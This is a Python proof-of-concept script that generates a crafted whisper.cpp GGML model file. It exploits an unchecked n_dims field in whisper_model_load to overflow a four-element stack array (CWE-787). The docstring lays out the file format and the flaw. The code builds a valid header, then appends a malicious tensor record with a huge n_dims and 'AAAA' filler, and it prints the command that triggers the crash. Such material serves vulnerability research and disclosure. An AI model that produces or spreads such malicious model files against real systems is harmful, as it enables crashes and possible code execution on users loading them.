#!/usr/bin/env python3
"""
PoC generator — whisper.cpp unchecked `n_dims` stack buffer overflow.

whisper_model_load() (src/whisper.cpp) reads a per-tensor `int32_t n_dims` and then loops
`for (i=0; i<n_dims; ++i) read_safe(loader, ne[i]);` writing into a fixed stack array
`int32_t ne[4]` — with NO check that n_dims <= 4 (GGML_MAX_DIMS). A crafted model file with a
large n_dims writes an attacker-controlled sequence far past ne[4], smashing the stack
(CWE-787). All shape/size validation runs only AFTER this loop.

This builds a minimal-but-valid whisper GGML model (tiny topology, so the tensor map builds and
execution reaches the tensor-read loop), then appends ONE malicious tensor record whose n_dims is
huge, followed by a long run of sentinel words to overflow the stack.

Header layout (read order in whisper_model_load):
  magic:  uint32 GGML_FILE_MAGIC (0x67676d6c)
  hparams: 11 x int32  (n_vocab, n_audio_ctx, n_audio_state, n_audio_head, n_audio_layer,
                        n_text_ctx, n_text_state, n_text_head, n_text_layer, n_mels, ftype)
  mel:    int32 n_mel, int32 n_fft, then n_mel*n_fft float32
  vocab:  int32 n_vocab_section, then that many (uint32 len, len bytes) tokens
  tensors (loop): int32 n_dims, int32 name_len, int32 ttype, then n_dims x int32 ne[i], ...

Usage: python3 gen_whisper_ndims_poc.py [out.bin] [n_dims]
"""
import struct, sys

GGML_FILE_MAGIC = 0x67676d6c

def i32(x): return struct.pack("<i", x)
def u32(x): return struct.pack("<I", x)
def f32(x): return struct.pack("<f", x)

def build(n_dims_evil=20000):
    b = bytearray()
    b += u32(GGML_FILE_MAGIC)

    # --- hparams: whisper "tiny" topology (n_audio_layer==4 -> MODEL_TINY) ---
    # assert requires n_text_state == n_audio_state
    hparams = [
        51865,  # n_vocab      (>=51865 -> multilingual; used only for tensor sizes here)
        1500,   # n_audio_ctx
        384,    # n_audio_state
        6,      # n_audio_head
        4,      # n_audio_layer  -> MODEL_TINY
        448,    # n_text_ctx
        384,    # n_text_state  (== n_audio_state)
        6,      # n_text_head
        4,      # n_text_layer
        80,     # n_mels
        1,      # ftype = MOSTLY_F16
    ]
    for h in hparams:
        b += i32(h)

    # --- mel filters: minimal (1x1) ---
    b += i32(1)         # n_mel
    b += i32(1)         # n_fft
    b += f32(0.0)       # one filter float

    # --- vocab: 0 file tokens; loader auto-generates the rest (no file reads) ---
    b += i32(0)         # n_vocab_section = 0

    # --- malicious tensor record ---
    # whisper_model_load reads: n_dims, length(name), ttype, then n_dims x int32 ne[]
    b += i32(n_dims_evil)   # n_dims  >> 4  -> overflow ne[4]
    b += i32(8)             # name length (irrelevant: crash happens in the ne[] loop, before name use)
    b += i32(0)             # ttype
    # provide n_dims sentinel words so every loop iteration performs a write
    for k in range(n_dims_evil):
        b += i32(0x41414141)   # 'AAAA' — recognizable stack-smash filler
    return bytes(b)

if __name__ == "__main__":
    out = sys.argv[1] if len(sys.argv) > 1 else "poc_whisper_ndims.bin"
    nd  = int(sys.argv[2], 0) if len(sys.argv) > 2 else 20000
    data = build(nd)
    with open(out, "wb") as f:
        f.write(data)
    print(f"wrote {out} ({len(data)} bytes), evil n_dims={nd} -> writes {nd} int32 past stack ne[4]")
    print(f"trigger: whisper-cli -m {out} <any.wav>   (or any app calling whisper_init_from_file)")